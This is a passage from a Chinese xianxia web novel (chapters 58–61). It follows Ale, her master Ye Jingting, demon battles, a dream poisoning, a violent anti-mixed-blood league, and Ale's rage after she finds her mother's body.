阿乐环视四周,终于找到那“右使”所在的位置,本来这妖魔族的这些恩仇本与她无关,可她总觉得这样子的埋伏实在是对那人不公平。
承妖魔不备,她捏了一团火往邴哲处投去。
火团不急不慢砸向邴哲,他一挡手稳稳接住,抬起头朝火团上方看了一眼,大声喊道:“小心,有埋伏!”
不等那群妖魔反应过来,右使已飞身而上,一把飞剑向着邴哲劈去。
邴哲早已有准备,两人缠斗在一起,号角四处响起,武器法宝到处乱飞,转眼间两队妖魔已纠缠在一起。
“师父,我们现在怎么办?”阿乐对叶敬亭道。
“我们先走。”叶敬亭道。
说罢,两人便往旁边退去。
方才劝他俩别说话的那妖魔忽然出现,截住他们去路,转眼又从四周跑出来一队妖魔把两人团团围住。
看这架势,只怕早就盯上他们了。
“臭婊子,通风报信完就想跑?”那妖魔粗声粗气道。
包围圈又收紧了一些。
阿乐祭出“雪落”握在手中,叶敬亭负手而站,挡在阿乐面前。
“你为何不拿武器?”那妖魔怒道。
“对付你们不必。”叶敬亭淡然道。
“你——”那群妖魔听到这话,极其具有侮辱性,竟敢不把他们这样放在眼里,哪里还收的住脾气,提起砍刀便杀了上来。
叶敬亭手里捏诀,灵力从掌心冒出,对着前方喝道:“退!”
一个防护罩罩在两人上方,把前来的妖魔族通通震飞出一米远。
那些人还是不甘心,再次提刀砍来,嘴里骂骂咧咧:“臭婊子,不要以为有男人护着你就——”
话还没说完
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,叶敬亭飞身而出,在空中一个飞踢正中那妖魔脸颊,在空出划出一道完美抛物线,须臾间,从旁边的山上传回一句闷响。
片刻后,那山上还是一片安静,并没有任何动静,剩下的妖魔们面面相觑,此时也不知能不能跑。
叶敬亭面不改色,拉过阿乐准备走。
“师父——”身后传来阿乐的声音。
只见她被一股诡异的气流束住,手脚都动弹不得,“雪落”对着那气流一阵乱劈也无济于事。
阿乐记得自己就是被这股诡异的气流脱下地缝的,原来从那个时候自己就被盯上了。
“这就想走?不想见见老朋友吗?”右使从天而降,站在阿乐身后,一把掐住她的脖子。
“阿乐——”叶敬亭手中灵力暴涨正对着右使,一字一句道:“放开她。”
“叶敬亭,你猜——是你快还是我比较快?”右使掐住阿乐的手指收拢,她白皙的脖子立马渗出血珠。
叶敬亭顿在原地,盯着右使,眼里要喷出火。
“往后退。”右使厉声道。
叶敬亭只好退了几步。
“你放开她——”邴哲挥剑杀死几个拦住他的妖魔,飞身而上,落在叶敬亭另一侧,怒声道。
“邴哲,你杀死魔尊的时候,我也是这样跟你说,你放了吗?”右使冷哼一声。
“你要报仇的人是我,跟她有什么关系?”邴哲吼道。
“哼——若不是她在我手里,只怕我现在早就尸首异处了。”右使恨恨道。
阿乐听着他们对话,越听眉头锁的越紧,用她威胁叶敬亭她能想得通,用她威胁邴哲?这又是何道理?难道因为她与邴哲那位故人很像?可这也不对啊——
脖颈传来一阵痛感,似有血珠滚到衣襟里,有些黏黏糊糊。
双方吵得正酣,阿乐轻声道:“那个——右使啊!你是不是认错人了?”
右使这才收回眼光,死死盯住阿乐,眼眸中藏着的凶光现在一览无遗,她现在只想报仇。
“你闭嘴!轮得到你说话吗?”右使道。
“你觉得左使当真会为了我任你宰割吗?你不觉得他是在拖延时间吗?”阿乐哑声道。
“你到底想说什么?”看来右使果真只是猜测,并没有十足的把握。
“他肯定是在等救兵!”阿乐笃定道。
右使手指松了一些,看来阿乐睹对了。
半晌,右使喊过其他妖魔,低声交代了几句。那几名妖魔便四下散开,飞身而去。
“你又要搞什么鬼?”邴哲沉着脸,怒道。
“你急什么?那边那位都不急!难道你比他还急?”右使揶揄道。
邴哲转头看了一眼白敬亭,只见他站在原地,脸上看不出任何表情,不知道他在想什么。
不一会,那几名妖魔回来了,对着右使耳语了几句。
阿乐竖起耳朵想要打探,却一个字也听不清楚。
“臭婊子,既然敢戏弄本使!”说罢,一个巴掌“啪”打到阿乐脸上,瞬间鲜红的手掌印便跃然脸上。
叶敬亭手中灵力暴起,不管不顾冲了上来!
右使指尖又往阿乐脖颈处陷进去了几分,血珠汇成一条血流了下来,染红半片衣襟。
叶敬亭生生顿在原地,却不曾退后,双眼紧盯着右使。
“哼!阿乐,你可真是命好!十年前他就这样护着——”
最后一个话音卡在喉咙,阿乐只觉得眼前一阵闪亮,强大的灵力逼人而来,脖颈一松,都没听道任何动静,右使已躺在地上,血水从她胸口的窟窿出不断流出。
右使抽搐了一阵便咽气了。
眼睛却还是狠狠盯着邴哲站得方向。
“十年前怎么了?”阿乐喃喃道。
59. 云雾村
大泽陆月明星稀,比起清灵山的仙雾缭绕,这里倒是一马平川,没有阻隔视野开阔。
“师父,我没事。你放我下来吧!”阿乐正被叶敬亭横抱在怀中,邴哲跟了一阵便止步不前了。
越过叶敬亭肩膀向后看去,恰巧看到邴哲转身离开的背影。
“看够了没有?”冰冷的声音从上方飘来。
“师父,我真的不疼了,你看你包扎的非常完美。”说罢转动了下脖子,“啊哟——”
一声呻吟,右使的手还是下的太重了,伤口又冒了血,染红了纱布。
叶敬亭垂下眼,柔声道:“别动了。”
阿乐本已做好被骂的准备,听到这话怔了一下,虽说平日里师父也不会凶自己,可这样温柔的叶敬亭,实属难以招架。
便乖乖躺好不再乱动。
“师父——”阿乐轻声唤道。
“嗯?”叶敬亭回道。
“我头有点晕。”阿乐道。
闻言,叶敬亭停下脚步,灵力缠绕指尖,探查了伤口处。
果然血变的乌紫,还是着了右使的道。
阿乐眼前有些模糊,依稀辨出叶敬亭一脸慌乱,道:“师父,没事的,只是中毒了而已——”
说罢,便晕了过去。
梦里,一片天雷火海,惨叫声连绵不绝。
阿乐看着这熊熊火势,地上滚着很多被火裹住的人,还有被火舌困在屋里的人——抄起地上的碳棍便前去救人。
火却越烧越旺,不知舔舐了多少具尸体。
阿乐看着地上被烧得黢黑的尸骨,墙上整齐挂着一排的尸体,手掌聚起灵力,往火焰拍去,不管多大的灵力,火势丝毫没有不减反增。
一阵热气腾起,阿乐连忙挡住鼻口往后退去,眼前模糊了起来。
阿乐揉揉眼,眼眸清晰了,眼前站着一名带着白色面具的人。
“混血者的命运就是被杀死,不是我也会是别人。”
头好疼,阿乐蹲在地上脑子里似有千百知虫子在啃食,“疼——好疼——师父——”
再次睁开眼,是在清灵殿。
这里已成了一片废墟,阿乐看着“清灵殿”匾牌断成两半被碎石压住,一路小跑,“师父——鹤哥哥——”
转过一道断壁残垣,一个白衣男子半坐在地上,垂着头,一动不动,好似失去了魂魄一般。他怀里抱着一个女子,衣着红袍,看样子已经没有气息了。
这个白衣男子与梦里那个挺拔的背影重叠在了一起,“师兄?师兄——”
阿乐大声喊叫着,那名男子却好似听不到,自顾自抱着怀里的女子——
“师兄——师兄——”阿乐喊得撕心裂肺。
大泽陆,龙族偏殿房内。
阿乐衣裳被汗水湿透,怎么唤也醒不过来,嘴唇白得发紫。
“毒已清除,怎么脸色还是这样——”叶鹤着急得左右踱步。
叶敬亭坐在床榻前守着。
“被困在梦中出不来,这样不吃不喝,身体会垮的。”此时开口的是龙族老四,龙天一的四女儿龙栖雪。
“龙姑娘,你可有什么法子?”叶鹤道。
“你们都看得出来阿乐是被困于梦中。被困在梦中者,想必是曾经未能放下的事。我听闻十年前,清灵山有一混血者体内浮生烬爆发,把清灵殿震得粉碎——”龙栖雪顿了顿,眼神瞟了一眼叶敬亭,继续道:“我没猜错的话,阿乐是被困在失去的记忆里吧!”
叶鹤顿住足,望向龙栖雪,眼里满是赞叹。
“她的记忆不能解封。”叶敬亭道,他目不转盯看着阿乐,眉间紧紧拧在一起,轻声唤道:“阿乐,我在这里,你快醒醒!”
龙栖雪望着叶敬亭拉着阿乐的模样,没有继续问下去,只是继续道:“困在梦中者想要醒来,办法有三。”
“快说啊!”叶鹤焦急道。
“其一,便是把梦中她疑虑的点滴都一一解惑,那没有了梦中的羁绊,自会醒来。”龙栖雪道。
“其二呢?”叶敬亭道。
“其二嘛,便是梦外有一个她放心不下的人能刺激到她,让她知晓自己是在梦里。”龙栖雪道。
“这要怎么刺激?打她一顿?还是怎么样?”叶鹤道。
“其三——”龙栖雪话未说出口,便被叶敬亭接过话去:“其三,能进入到她梦里把她带出来。”
龙栖雪点点头,以示赞同。
“那夜郎又不在,怎能进入她梦中。”叶鹤道。
“那便只能是靠她牵挂的人刺激到她了。”龙栖雪道。
“可如何才能刺激到他?”叶鹤发问,难不成真要扇她几巴掌?
“而且敬亭也不一定就是阿乐最挂念的人啊——”话才落下,便收到叶敬亭一记冷眼。
“走吧,在这里我们帮不上忙。”龙栖雪拉过叶鹤便出去了。
叶敬亭眉头紧锁,心里盘算着到底要怎么样才能算作“刺激”?
刚擦拭过的脸颊又冒出一层薄汗,嘴巴呢喃着什么,叶敬亭贴身而去侧耳听着,“师兄——师兄——”
发丝被浸透贴在额前,又拧了一条毛巾擦干。
“我不就在这里嘛——”叶敬亭把阿乐手背贴在脸上轻轻揉着。
俯身靠近阿乐,仔细看着她皱起的眉心,食指按下想帮她揉开。
“师兄——师兄——你在哪——”阿乐又在呢喃着。
“我在这啊——阿乐——”叶敬亭眼光顺着鼻尖、唇瓣一路看下,最终目光停在了唇瓣上。
想来都是很久很久的事了,叶敬亭囔囔道:“我在这——”
低头便吻了上去,唇齿间阿乐每喊一句“师兄”,叶敬亭便回一句“我在”。
如此以往,阿乐似乎感受到了叶敬亭气息,双手攀上他肩,两人就此缠绵在一起——
房屋外。
叶鹤与龙栖雪在院子里大眼瞪小眼。
龙栖雪独自打坐,叶鹤一把折扇开了又关,关了又开,也不知道里面现在怎么样了。
“龙姑娘,你就把你亲侄女与一男子放在里面,孤男寡女的,就不怕出什么事?”叶鹤随便胡诌,想打破这寂静。
“亲侄女?”龙栖雪睁开眼瞟了一眼叶鹤。
“龙姑娘,方才在屋里说的话,可不就是你一清二楚的意思吗?”叶鹤笑道。
龙栖雪又盘腿坐起,闭上了眼。
“龙姑娘——”叶鹤还在喋喋不休说着话。
龙栖雪捏诀拉上了一层结界。
外面冲进来一个黑影,直奔叶鹤而来。
“鹤师兄,出事了。”
叶鹤回首,见叶平安慌慌张张冲了进来,“平安,怎么了?”
“云雾村村口挂了一排尸体,死法与——与”叶平安双拳紧握,垂下眼,停顿片刻才继续道:“
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与那时一样。”
叶鹤收回嬉笑,肃然道:“什么?”
“右使已经死了,肯定不会是邴哲,那就只能是他了。”叶平安言语间充满恐惧,身体微微颤抖。
“他是谁?”此时龙栖雪撤了结界,站在一旁,负手而道。
“龙姑娘还记得十年前的天雷吗?”叶鹤道。
叶鹤说了当年的事,龙栖雪眉尖皱起,陷入沉思。
“敬亭,你听到没,云雾村出事了。”叶鹤站在门口恨不得一脚踹门进去。
抬起脚几次,却又只是拍拍门询问道。
毕竟阿乐这般样子,他也知道现在叶敬亭分不开身。
“罢了,罢了,平安我们先过去。”叶鹤拉住叶平安便往外走。
“若不嫌弃,我也一同前往吧。”龙栖雪跟着两人一同离去。
院子里很快安静下来。
屋里也是。
霎时间,屋里传来一声惊叫:“啊——师父!”
阿乐双手捂着嘴缩在床上,叶敬亭趴在床榻旁,嘴巴红肿,留着余温。
“师父——你,你在干嘛?”阿乐满脸通红,嘴唇酥麻,舌头上还留有叶敬亭的气息。
叶敬亭面不改色,温声道:“你困在梦里一直不醒,后来呼吸开始不顺,我只是在帮你渡气。”
阿乐抬起手按住胸口,脑子一片空白,有些失落又掺杂些许疑惑。
“既然醒了,好好休息。”随即,叶敬亭转身便出去了。
直至叶敬亭出去许久,阿乐还窝在床上没缓过神,嘴角逐渐上扬,最后被子一捂,干脆整个人都缩进被子里扭作一团。
叶敬亭站在门口,听着房里的动静,弯起眉眼才放心离去。
若这里是粉红一片,云雾村可就是红色一片了。
天雷倒是未降下,可挂在这村头的一排混血者尸体,确实与当年一模一样。
叶平安当初从那场反混血者组织手中好不容易才救下这不足百人的混血者,本以为那人已经消失了,怎么又出现了?
“这十年间本已相安太平,怎么又出现了。”叶鹤抬头观看天中,并无异象。
“鹤师兄,阿乐好不容易才回来,那人也消失那么久了,会不会只是有人恶意模仿?”叶平安命人把尸体放下,也怕是不是自己思虑过重了。
龙栖雪一一探查了那些尸体,缓缓道:“这些人都是被一击毙命,没有受到太多痛苦。身体上还残留着灵力,这灵力强大,感觉与五族的灵力都不太相同。”
却无人听他的分析。
叶平安垂着头一副丧气样,叶鹤来回踱步,忧心忡忡,嘴里念念叨叨:“完了,完了。”
“什么完了?”叶敬亭的声音突然从冒出来,吓得叶鹤一跳。
“你什么时候来的?”叶鹤捂着胸口道。
“我听到你们说话,便跟来看看。”叶敬亭道。
“敬亭,你看这些尸体。”叶鹤指了指地上。
叶敬亭灵力探去,神色凝重起来,忽然想到什么,“糟了。”
“什么糟了?”叶鹤还未说得上几句话,叶敬亭又飞身回去。
密信也来不及发出,一路飞速回到偏殿,来不及敲门,直直冲进房内。
“这个好吃!那个我也要尝尝——”阿乐躺在床上正在说着梦话。
叶敬亭松下一口气,弯下身替她拢了拢被子这才安下心。
60. 反混血者联盟 “绞杀混血者
十年前。
“我拦不住他们。”叶鹤满脸疲惫,刚从山脚回来。
“我从没想过有那么多混血者。”叶展云接话,拂下了肩头上沾染的血迹。
两人便说着话边往清灵殿赶,看来这次民间反混血者联盟掀起的风波比他们想象的还要大。
山脚下已经混斗了半月有余,这伤亡比起天雷那场天劫更甚。
清灵殿里已塞满了来求救的人,一部分是活下来的混血者,一部分是扛过化神池的混血者。
清灵山本就是五族之首,有着包容天下之心,又有化神池可以洗净神脉,叶修一对混血者向来是有一颗仁厚之心,定期派人到山脚给那些灵力低下的混血者教导控制浮生烬的法诀。
久而久之山脚下就会聚集一些混血者安家,不过前段时间的天雷已经烧得差不多了,现在这块地方又重新来了一批人再次安营扎寨。
这批人就是现在搅得混血者不得安宁的反混血者联盟。
从未想过,这个组织成员可以增加的如此之快,现在战火已快蔓延到清灵山。
可叶修一却一直在闭关。
这清灵殿塞满人,吵闹声一片,都在嚷嚷着要见叶修一。
叶子清在中间转圜忙得焦头烂额,脑袋都快吵吵得两个大,看到叶鹤、叶展云两师弟来了,激动得既然有些热泪盈眶。
三人又很快被人群包围住。
叶敬亭绕过大殿往后山飞身而去,那里是叶修一闭关的地方。
师尊这段时间都没有露过面,一直把自己关在后山,看来是出了什么事。
叶敬亭熟练打开后山结界,快步走了进去。
两道石门紧闭,叶敬亭伸手探了下,果然是被师尊用灵力锁住了。
“师尊——”叶敬亭轻唤了两声,室内毫无动静。
掌心冒出灵力,打在石门上,稍微才开了一条缝,灵力再重新凝聚起来一掌打出,“轰隆”一声,石门才应声开来,也不过是仅一人可过的距离。
霎时,叶敬亭已进入石门。
“出去——”叶修一大声喝道。
叶敬亭一怔,是出了什么事,师尊这样发怒。
“师尊——”叶敬亭喊道,随即一转头便看到一名女子瘫坐在地上,低垂着头,头发散落在地上,虽不见面容,却感觉得到身上独特的气质。
“流云仙尊?”叶敬亭怔在原地,这不就是阿乐的母亲,可是她怎么会在这里?那龙临羽呢?
“绾儿,你别生气,你先听我说——”叶修一蹲在地上想要扶起叶绾棠,又被推开。
若不是自己站在这里,若是听别人说,他可万万不会相信此时眼前的人是师尊。
他用近乎讨好、卑微的语气在请求着。
叶敬亭转身准备先出去,被叶绾棠叫住:“阿乐她,可还安好?”
上次见到流云仙尊还是一副明艳动人的模样,此时两鬓已看得到银丝。
“她在很安全的地方。”叶敬亭回道。
“那就好,那就好——”叶绾棠从地上站起来,口中反复呢喃。
“师兄,你不要再逃避了——这次一定要去找仙尊。”叶绾棠拉住叶修一道。
叶修一看着眼前的小师妹,又是心疼又是无奈,道:“绾儿——你知道我不能——”
“师兄,都这个时候了!不要再骗自己了,这本来就是——”叶绾棠瞟了一眼叶敬亭,对着他道:“敬亭,你先出去。”
叶敬亭点点头,随即便出去了。
站在石门外,眺望着不远处的清灵殿,细想着方才发生的事情,陷入沉思。
片刻后,石门打开,叶修一声音传出来:“进来。”
叶敬亭踏入石室,叶修一背对着他站在石床前,垂着头看着躺在上面的叶绾棠。
“师尊。”叶敬亭轻唤道。
叶修一抬起手示意他别说话。
“师兄,我没事,阿乐就劳你费心了。”叶绾棠道。
“嗯,安心养伤。”叶修一在石床周围布下法阵,才安心离开。
关上石门重新结好结界,叶修一才道:“记下了吗?”
叶敬亭眉间微微蹙起,原来方才师尊让他进去是让他记下布的阵法,师尊闭关的地方本就是清灵山灵气最充沛的地方,再加上师尊亲自布的阵还有谁能轻解开?这阵法是在防谁?
连忙道:“师尊,到底发生了什么?”
一阵沉默,半晌,叶修一才道:“这次反混血者组织一起发难,不觉得有蹊跷吗?”
叶敬亭轻叹口气,低声道:“与那天劫有关。”
叶修一看了叶敬亭一眼,露出赞赏之情,“对,这天劫,你有何想法?”
“与那白衣人有关。”叶敬亭道。
叶修一顿住脚,侧首看着叶敬亭,眼眸变换,顿了顿道:“你已见过?”
叶敬亭心中诧异,难道这白衣人师尊早就知晓?
“师尊,这白衣人到底是谁?”叶敬亭道。
叶修一一甩长袖,背过身道:“这件事不是你能管的,千万要护好叶知乐。”
说罢便飞身离去。
叶敬亭站在原地看着白影慢慢变成一粒白点,最后彻底消失。
“师兄——师兄你在哪里?”阿乐传来密信。
叶敬亭连忙回道:“你来了?”
“嗯,那么大的事,你居然瞒着我!”阿乐有些生气,当时叶敬亭只跟她说要先回去处理一些事,她的身体要修养几日才能御剑。
这几日夜郎带着她游山玩水,却处处躲开一些城镇村庄,人群密集的地方,她才发现一些端倪,一逼问才知,果然是清灵山出了大事。
“徐娘呢?阿珍呢?”阿乐着急道。
“你去我院子里等我,不要到处乱跑。”叶敬亭急急道,已飞身而去。
片刻,已到院子门口,里面传来争吵声,看来不止阿乐一人。
“为什么这么大的事情不告诉我?”阿乐声音听起来气急败坏,接着有东西接二连三摔在地上“啪”的一声接着一声。
叶鹤看到推门而入的叶敬亭眼眸都凉了,立马上前寻找援助:“敬亭,你快跟她解释。”
夜郎抱着手站在一旁看到叶敬亭,耸了耸肩,一副“我拦不住她”的样子。
叶敬亭扫了一眼地上的花瓶、茶壶碎片。
不等叶敬亭开口,阿乐便疾步冲上来道:“师兄,现在到底是怎么回事?”
“现在那些人正在四处找混血者绞杀,特别是体内浮生烬能量大的——全都被他们清除。”叶敬亭拉起阿乐的手,查看她手有没有受伤。
“那徐娘、阿珍他们呢?”阿乐反握住叶敬亭,眼眶微红,她明白叶敬亭的担心,可她不是那个处处需要爹娘护着的孩子了,她也想要帮忙。
“我让平安把他们带出去了。”叶敬亭道,安抚着阿乐的情绪。
这句话才落,阿乐便哭了出来,轻轻啜涕道:“我以为——我以为他们已经——”
叶敬亭把她揽入怀里,像哄小孩一般拍着她背。
叶鹤无奈转身出去,又折回来拉着正看戏的夜郎一块出去。
哭了一阵,发泄完情绪,阿乐抬起头,泪眼婆娑道:“我一路御剑而来,看到四处起火,是那些人放的吗?”
叶敬亭用手帮她擦拭眼泪,淡淡道:“是,他们现在已经杀疯了,所以你不能出去。”
“我有阿爹做的灵牌,他们看不出我的身份!”阿乐发现自己双手
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已经被叶敬亭困住,瞬间明白他想做什么。
可已经来不及了,他低头轻吻了一下,拉起结界便关上了门。
既然能让叶绾棠受重伤,龙临羽下落不明,那个人除了白衣人还能是谁?若此时阿乐出去,不就等同于是羊入虎口?
可这些都还不能与她说,万一她一冲动跑出去,后果更是难以预料。
如今混血者已经越来越少,外面还有那么多反混血者联盟的人叫嚣着,看来是另有目的。
在天劫出现的时候,坊间就流出“一定是清灵山对混血者太过仁厚,激怒了天规,这才触动了天劫”的流言蜚语。
怕是千百年来对清灵山的积怨已久。
这次不仅仅是反混血者联盟那么简单,是要给所有对天规不重视者一些教训啊。
“你这样能困住她吗?”夜郎看叶敬亭一人从院里走出来,轻笑道。
“你在这看住她,千万不能让她出清灵山。”叶敬亭严肃道。
夜郎收起笑言,懒懒道:“好好好,我真是上辈子欠你们俩的。”
叶鹤追上叶敬亭,看出他有异样,追问道:“是白衣人吗?”
叶敬亭紧盯着大殿,不置可否。
就在此时,一团火光在空中炸开,两人低头一看,化神池火光冲天,萧杀一片。
“他们竟敢去化神池——”叶鹤咬着牙忿忿道,两人一个急转弯往化神池冲去。
这里面挤满了混血者,应该是被从大殿赶上来的,与之对立的便是从山脚冲上来的反混血者联盟。
两队人兵戎相见,各自祭出武器正准备开始一场厮杀。
“退后。”叶敬亭从天而降,声音宛如一个巨大的声波把两队人各自往后震开三米。
叶鹤紧随其后,两人挡在两队人中间,有种真神降落的姿态。
“叶敬亭,这些混血者本就违反天规,是该绞杀,你们清灵山办不了的事,我们替你们办。”此时说话的这人叫严匀,是此次联盟的领头人之一。
他身后一群人大声吼着:“天规!天规!——”
“我们是已经洗过血脉的了,为何也要绞杀?”混血者的这边有声音喊道,接着就有很多声音冒出来,“对,我们忍过千刀万剐的洗脉之痛,为何还要判为是混血者?”
“你们是忘本了吧!忘了你爹你娘是谁才能说出这种话!”其中混血者咒骂道,“你再洗也是混血者,这时候你当真以为他们会放过你吗?”
严匀仰天大笑,提起仙剑指着对面喊道:“叶敬亭,我说你们就别管闲事了,他们自己都吵起来了,哈哈哈哈哈——”
“哈哈哈哈哈哈哈——”空中回荡起一阵嘲笑声。
“闭嘴。在清灵山,岂容你们放肆。”叶敬亭声音冷得像一块冰,脸上也在冒着丝丝寒气。
一道灵力贴着严匀脚边闪过,不偏不倚就在他鼻子尖前落下的灵力,只要乱动半分,只怕前半边脸就没有了,这力道控制着实让人惊叹。
严匀被震慑住,半晌才缓过神,气得大喊大叫:“叶敬亭,你莫不要忘了,清灵山五族之首,带头的不好好遵守天规,怎么还帮起他们来了?!”
“叶敬亭,叶敬亭,这是你能喊的吗?这嚷嚷得吵死了!”叶鹤道,“请你看清楚,这里是清灵山,这也是清灵山的化神池,这化神池已经存在几千年,是聚天地灵气存在的地方,按你意思,就是这天地都是错的咯!”
“你——”严匀被堵得哑口无言,握着仙剑气得发抖。
这时,空中划过一道白光,落在严匀身旁。
严匀看到他激动得快要跪下,“大哥,你终于来了。”
叶敬亭抬眸望去,这人就是领头人的大哥,此次反混血者联盟的发起者。
61. 浮生烬爆发
这人比起手底下的其他人倒是彬彬有礼,一副温文尔雅的模样道:“还请两位上神莫怪。他们也都是可怜人,被天劫的雷火烧得家园全无,就连家里人也被浮生烬所伤。”
此话一出,站在他后面的那些人虽是沉默不语,眼里的火光倒是亮了几分,恨不得把对面的混血者杀光抹尽。
看来真不是善茬,这话字字句句分明就是要把那群人心里的仇恨点燃啊!
叶鹤轻哼一声:“天雷是天劫所致,你怎么不去怪天?”
“上神说笑了,这天劫不就是混血者引发的嘛。”萧念仍然是一副面不改色的笑颜。
“这里是清灵山。”叶敬亭按住叶鹤,淡淡道。
“那还请上神把叛天者交给我们,绝不会玷污了清灵山。”萧念道。
“我们在这化神池里洗净血脉了——”
“就是,我们也是被扒了几层皮才活下来的。”
“你们真是没骨气,洗了就不是了?”
“你们的爹娘呢?这就忘了?”
混血者中又开始吵起来。
叶敬亭目光一沉,手中“寒冰”被灵力点亮,手起剑落,几道灵力劈下,他们才安静。
“上神,这又是何苦呢!你对他们的仁厚,日后说不定只会换来无尽悔恨。”萧念浅笑道。
这话里有话,叶敬亭眼眸中寒光一闪,“灵隐谷。”
叶敬亭盯着萧念,萧念也不躲闪,两人就这样僵在原地。
这时,山林深处冒起一道红光,是夜郎的信号,难道是阿乐跑出去了?
萧念也看到了红光,不再是温文尔雅的模样,立马换了一副嘴脸,大声道:“追!要活的!”
果然是冲着阿乐来的。
反混血者联盟一声令下,纷纷往山林处飞身而去。
叶鹤立马调遣清灵山所有弟子出来迎战。
一时间,混乱一片。
“阿乐,你在哪里?”叶敬亭发出密信。
“师兄,有人在追我!好像是那白衣人!”阿乐回道。
叶敬亭呼吸停了一瞬,提起“寒冰”飞速追去。
“阿乐,你去后山等我。”叶敬亭发出消息,须臾间便收到回复:“好。”
后山是叶修一闭关的地方,设了很多阵法,若是不知道路的人进来,很容易迷失方向,绕半天还是在一个圈里。
阿乐按照叶敬亭说的路走,不一会就便找到了石门。
“师兄,找到了。”阿乐回道。
“在那等我。”叶敬亭一个急转,顺势甩开几个紧跟着的联盟者,转眼间,又跟上几个。
看着面前沉甸甸的石门,阿乐伸手推了一下,“轰隆”一声响,石门开了一道口子。
看着门里黑乎乎一片,似乎感应到血脉的气息,阿乐在门口犹豫了一下便走了进去。
身后跟着的联盟者越来越多,凭叶敬亭的修为怎么会有如此多的人能跟随?
叶敬亭回头看了一眼,手中捏诀,一道灵力从头顶往脚下扫去,果然,在肩膀上拔出一道咒法:跟踪咒。
水袖一甩,“寒冰”脱手而出,在半空中胀得十倍大,把跟随的人挡在另一边,等大家绕过“寒冰”,叶敬亭早已不知去向。
被这一耽误,过去了不少时间,心中升起不好的预感。
来到石门前,看着开了半扇的门,心中一惊,这门可是他亲眼看着师尊用灵力锁上的,阿乐怎么可能打开?
“阿乐——”叶敬亭冲进石屋,没有打斗的痕迹,没有血迹——还好,还好!
一道熟悉的背影映入眼帘,还好她没事!
“阿乐!”叶敬亭轻唤着她的名字,没有反应。
此时阿乐正站在石床前低垂着头,他以为是因为没有告诉她流云仙尊在这里所以她生气了。
“阿乐,我不是有意瞒你,我本打算等那些人走了再带你来的。”叶敬亭道,手扶上她肩膀,却被一股热浪弹开。
霎时间,阿乐身上冒起幽幽“火光”。
叶敬亭僵了一瞬,不可置信的看着这“火光”,这能量是浮生烬!
阿乐呆呆转过头,眼神空洞喃喃道:“阿娘怎么会在这里?她尸体为什么会在这里?”
“尸体?”叶敬亭诧异道,往石床上看去,叶绾棠衣裳已被血水浸透,胸口处一个大窟窿,血液凝固在伤口四周,形成一道难看的疤痕。
“师兄,你说,阿娘是被谁杀的?”阿乐满脸通红,哑着声音看着叶敬亭。
叶敬亭摇头道:“她午时都没事,怎么会——”
“她午时没事?那现在是怎么回事?这可是师尊修炼的地方,除了他还有谁能进来?”阿乐身上“火光”越来越亮,叶敬亭连忙道:“师尊午时与我一块离开的这里,我亲眼看着他离开清灵山的,况且,这时师尊的师妹,怎么可能对她下手!”
阿乐此时已听不进去这些,她脑海里有个声音一直在对她说:“傻孩子,他在骗你,你感觉不到吗?若真是如他所说,为何要瞒你?”
“你住嘴!”阿乐歇斯底里喊道。
叶敬亭往前一步,看着捂住脑袋的阿乐道:“阿乐,你冷静下来,这里绝对是其他人来过!”
“那石床上躺着的可是你的阿娘,叶修一是他的师尊,他当然要帮师尊开脱!你又是谁?你不过是她的师妹而已,还只是一个混血者,他肯定帮从小养育教导他的师尊啊!”那声音在阿乐脑海里转来转去,就像一条在海里自由摇摆的小鱼。
“你走开,师兄才不是那样的人!”阿乐捂着脑袋在地上打滚,神情异常痛苦。
叶敬亭瞬间明白了,看来是白衣人先来了一步,现在阿乐正在被他控制。
“阿乐你听我说,还记得我教你的清心诀吗?现在什么也不要想,心中默念。”叶敬亭蹲在阿乐身旁,顾不得她浑身的“火光”,拉起来抱在怀里,一遍一遍念着清心诀。
阿乐脑子里的声音慢慢弱了下来,身上还是一片滚烫,比起方才,“火光”已经消失。
“阿乐!”叶敬亭看着怀里的女子,轻轻唤着,“好些没有?”
阿乐缓缓睁开眼,看到眼前的叶敬亭,想起躺在石床上的阿娘没忍住“哇哇”哭了出来。
“师兄,阿娘什么时候在这里的!她到底是怎么变成这样的?”阿乐哭道。
“我也是今日才见到她,她当时只是受了些伤。”叶敬亭轻声道。
“那阿爹呢?阿爹去哪里了?”阿乐哽咽道。
此时阿乐情绪过于激动,身上还是滚烫,叶敬亭怕激起她体内浮生烬爆发,只好委婉道:“没见到。”
“他骗你的——”刚才的声音在石屋里回荡起来。
这次叶敬亭也听到了。
“你阿爹早就死了,不信你看——”那声音才落,墙壁上便显出一道光影。
叶敬亭知晓这声音就是想要引起阿乐情绪爆发,从而引发浮生烬,他把阿乐抱起靠在自己怀里,一只手捂住她的眼睛,低声道:“不要看。”
“叶敬亭,你是怕真相被她看到吗?你在心虚什么?”那声音继续挑衅着。
“寒冰”被灌入灵力,绕着石屋飞了几圈也没发现可疑的东西,这声音到底是怎么进来的?
那白衣人既能悄无声息的破师尊阵法,这修为只怕比他想象的还要高。
半晌,那声音没再响起过。
“阿乐,你还好吗?”叶敬亭把捂住眼睛的手放了下来,身形一怔,暗骂一句不好,阿乐眼神空洞,睁着双眼一动不动。这声音既然回到她脑子里了。
“阿乐,你听到我说话吗?跟我一起念清心诀——”叶敬亭反复喊着她名字,可已经来不及了。
阿乐身上的“火光”又亮了起来。
“阿乐你听我说,现在在你脑海里的是白衣人,他在引诱你体内的浮生烬,你听我说——你听我说——”叶敬亭耐心的一遍又一遍对阿乐说着话。
阿乐身上的“火光”又亮了一些。
“阿乐,你看着我,你看着我
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!”叶敬亭还是没有放弃,他手上被烫起了水泡,却没有松开一点。
终于,阿乐空洞的眼神恢复了意识,她力气巨大,一把就推开了叶敬亭。
向着石床走去,看着躺在石床上的叶绾棠,趴在上面抱了抱她,嘴里低声对她说着话。
片刻后,又抬起头,对着他摆了摆手,嘴唇在说着:“再见。”
叶敬亭慌了,这是在告别吗?在告别叶绾棠,还是在告别他?
那声音到底对她说了什么?
“阿乐——你听我说——你先听我说,这不是你的错,不是你造成的,你快过来!”叶敬亭往前一步,阿乐便退后一步。
她身上的“火光”烧得发红发紫,双眼变得通红,扭过头便飞身出去。
叶敬亭连忙追出去,却已看不见她身影。
清灵殿闪过几道灵力,叶敬亭飞速赶去。
大殿门口一堆尸体冒着鲜血,都是一击毙命。
殿里又传来几声喊叫:“浮生烬,她体内有浮生烬!”
“阿乐——”叶敬亭循着声音找去,只见阿乐全身被血染红,这些都不是她的血。
眼眸里赤红一片,她现在大概只想杀死这些联盟者。
那群人看到叶敬亭,大声喊道:“你们清灵山居然藏着这等混血者!难怪要包庇他们,你们才是带头违反天规的人!”
“天劫就是你们引起的!”
